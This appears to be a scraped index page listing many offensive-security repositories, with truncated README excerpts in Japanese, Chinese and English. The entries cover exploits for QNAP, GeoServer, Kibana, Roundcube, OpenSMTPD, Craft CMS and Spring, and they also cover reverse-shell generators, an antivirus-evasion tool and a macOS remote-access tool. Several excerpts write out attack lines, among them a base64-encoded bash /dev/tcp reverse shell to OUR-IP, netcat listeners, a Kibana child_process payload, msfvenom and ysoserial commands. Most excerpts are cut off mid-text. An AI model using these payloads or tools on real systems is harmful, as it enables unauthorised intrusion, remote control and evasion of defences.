overkill

オーバーキル Overkillは、QNAP QTSに影響を与えるパッチ適用済みの脆弱性のエクスプロイトです。QNAPの脆弱性開示方法により、この問題にCVEがあるかどうかは不明です。ただし、2020年11月と2021年4月にパッチが適用された可能性があります。このn-dayは、CVE-2020-2509の差分分析中に「発見」されました。これはほぼ間違いなくCVE-2020-2509ではありません。 このエクスプロイトは、/cgi-bin/qnapmsg.cgi?lang=xxx にHTTP GETリクエストを送信し、これによりパッチ未適用のQNAPデバイスが安全でないHTTP経由で...

gimmeSH

gimmeSH ターミナルから離れたくないペネトレーションテスターのために。 一言で言うと gimmeSHは、Reverse Shell、File Transfer、Msfvenom用のカスタムチートシートをターミナル内で生成するツールです。必要なのは、プラットフォーム、自分のIPアドレス、ポート番号を指定するだけです。 インストール gitでスクリプトをダウンロードし、.bashrcにエイリアスを追加すれば、準備完了です。 実行 File Transfer Linux Web Shells...

CVE-2021-21425

CVE-2021-21425 出典: https://www.exploit-db.com/exploits/49973 1 ターゲットIPを変更 2 ペイロードを変更 echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE このリポジトリには、Nostromo Web Server 1.9.6におけるCVE-2019-16278のエクスプロイトが含まれており、ディレクトリトラバーサルの脆弱性を介してリモートコード実行を可能にします。このスクリプトはpwntoolsを使用してリバースシェルを確立します。教育目的および許可されたテスト目的のみで使用してください。 Requirements Python 3.x pwntools ライブラリ pwntools をインストールするには、次を使用します: pip3 install pwntools...

mcreator

mcreator Encoded Reverse Shell Generator With Techniques To Bypass AV's Installation git clone https://github.com/blacknbunny/mcreator.git && cd mcreator/ && python mcreator.py Version python 2.7. can't be lower or higher than 2.7 cause of the """ syntax in scripts. Runnig mcreator console python...

mcreator

mcreator エンコードされたリバースシェル生成ツール - AVをバイパスするためのテクニック インストール git clone https://github.com/blacknbunny/mcreator.git && cd mcreator/ && python mcreator.py バージョン python 2.7. スクリプト内の """ 構文のため、2.7より低くても高くても動作しません。 mcreatorコンソールの実行 python mcreator.py -rsg console コマンド...

CVE-2024-36401

CVE-2024-36401 用の RCE CVE-2024-36401 GeoServer 用の POC。この POC は、ターゲットからリバースシステムシェルを確立しようとします。 概要 CVE-2024-36401 の POC: GeoServer バージョン 2.25.1、2.24.3、2.23.5 より前の GeoServer 用の RCE。この POC は、phith0n によるセキュリティアドバイザリに基づいています。 動作の仕組み 1. ターゲットからの着信リバースシェル用に、自分のマシンにリスナーをセットアップします。 2. この POC は、ペイロードを含む POST...

serverless-prey

Puma Security Serverless Prey Serverless Prey is a collection of serverless functions FaaS, that, once launched to a cloud environment and invoked, establish a TCP reverse shell, enabling the user to introspect the underlying container: Panther: AWS Lambda written in Node.js Cougar: Azure Functio...

serverless-prey

Puma Security Serverless Prey Serverless Prey は、クラウド環境にデプロイされて呼び出されると、TCPリバースシェルを確立し、ユーザーが基盤となるコンテナを調査できるようにするサーバーレス関数（FaaS）のコレクションです。 Panther: Node.js で書かれた AWS Lambda Cougar: C で書かれた Azure Function Cheetah: Go で書かれた Google Cloud Function...

ShellPop

ShellPop 概要 Shellpop はシェルを起動することに特化したツールです。このツールを使用すると、簡単かつ高度なリバースシェルやバインドシェルのコマンドを生成し、ペネトレーションテストを支援します。 リバースシェルを保存した .txt ファイルにこれ以上時間を浪費する必要はありません！ インストール Python 2.7 が必要です。 3.0+ バージョンでは動作しません。 必要な依存関係のインストール root@kali apt-get install python-argcomplete metasploit-framework -y root@kali pip...

CVE-2019-7609

CVE-2019-7609 Kibana Kibana的Timelion visualizer存在缺陷，可导致远程代码执行的漏洞 环境配置 docker 1. 运行附带的 docker-compose.yml。 docker-comopse up -d 2. 在浏览器中访问 http://127.0.0.1:5601。 漏洞利用 1. 准备一个反弹shell。 $ nc -lvp 6666 2. 在Kibana的Timelion界面中输入payload，然后点击运行。 .es.propslabel.proto.env.AAAA='require"childprocess".exec"ba...

Bella

Bella Bella 是一个纯 Python 的 macOS 后渗透数据挖掘工具和远程管理工具。🍎 💻 它是什么？ Bella 是一个健壮的、纯 Python 的 macOS 后渗透和远程管理工具。 Bella（即服务端）是一个基于 SSL/TLS 加密的反向 shell，可以部署在任何运行 macOS = 10.6 的系统上。Bella 提供以下功能： 1. 模拟 SSH 的伪 TTY 支持大多数功能的 CTRL-C、流式输出、完整的内联 bash 脚本支持、Tab 补全、命令历史等。 2. 自动安装器！ 只需执行二进制文件，Bella...

CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 认证远程代码执行 ⚠️ 免责声明 本仓库仅供教育和研究目的使用。 所有演示均在受控实验室环境中进行。 未经明确许可对系统进行未经授权的测试或利用是非法且不道德的。作者不对任何滥用此信息的行为负责。 📌 什么是 Roundcube？ Roundcube 是一款广泛使用的、基于浏览器的 IMAP 电子邮件客户端，使用 PHP 编写。它提供了用户友好的网页邮件访问界面，通常被托管服务商、学术机构以及企业内部邮件服务器所部署。 🚨 关于漏洞 CVE-2025-49113 是一个影响 Roundcube 1.6.10 版本...

CVE-2020-7247-exploit

CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 远程代码执行 PoC 利用 参考: https://www.openwall.com/lists/oss-security/2020/01/28/3 用法 python3 exploit.py 依赖 pip3 install --user pwntools...

warsend

WARSend Apache Tomcat Manager API WAR Shell 上传 先决条件 凭据 具有 Tomcat Manager 的 Text API 访问权限 $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |// ||//// //,/ Created By :...

Craft-CMS-Exploit

このPythonスクリプトは、人気のあるコンテンツ管理システムであるCraft CMSのリモートコード実行脆弱性（CVE-2023-41892）を悪用します。この脆弱性はバージョン4.0.0-RC1から4.4.14に影響し、攻撃者がPHPリバースシェルのように任意のコードをリモートで実行することを可能にします。 使用方法 まず、別のシェルでnetcatリスナーを起動します： nc -nlvp 1234 次に、自分のIPアドレスを確認し、エクスプロイトを実行します： python3 exploit.py -r 10.10.16.47 -p 1234...

CVE-2021-26295

CVE-2021-26295 CVE-2021-26295 EXP 可成功反弹Shell 本文以及工具仅限技术分享，严禁用于非法用途，否则产生的一切后果自行承担。 触发命令执行EXP 1. VPS启动RMI监听 9999 端口 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPS启动nc监听 64444 端口 nc -lvp 64444 3. 执行python脚本 python3 cve-2021-26295exp.py 示例...

PHP-REVERSE-SHELL

PHP リバースシェル 強力かつステルス性 これは、倫理的なハッキングや侵入テスト向けに設計された、強力かつステルス性の高い PHP リバースシェルです。 マシンへの信頼性が高く静かな接続を確立します。 ⚠️ 免責事項 この PHP リバースシェルは、教育目的および許可された侵入テストの目的にのみ使用するために開発されています。 開発者は、この reverseshell を使用して行われたいかなる誤用、損害、または違法行為についても責任を負いません。...

Fast-CVE-2022-22965

靶机 docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest 反弹shell实质为参照msfvenom msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp 将jsp url编码后，用 %3C%25替换 %25%7Bc2%7Di 代表 代码中针对不同类型服务器进行了shellpath的修改判断 if self.radioButtonwin.isChecked: shellpath = "cmd.exe" if...

pentestkoala

Koala は dropbear SSH サーバーのパッチ版で、ポートにバインドする代わりにリモートクライアントに接続してリバースシェルを開きます。 これは、悪用されたマシンで pty ターミナルを取得するのに便利であり、SSH ポートフォワーディングを介した安全なデータの外部漏洩にも役立ちます。動的 SSH ポートフォワーディング機能を使用してピボットも行うことができます。 使い方 クライアントで以下のコマンドを実行して SSH 接続を待ち受けます: $ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999' 悪用されたホストで以下を実行: $...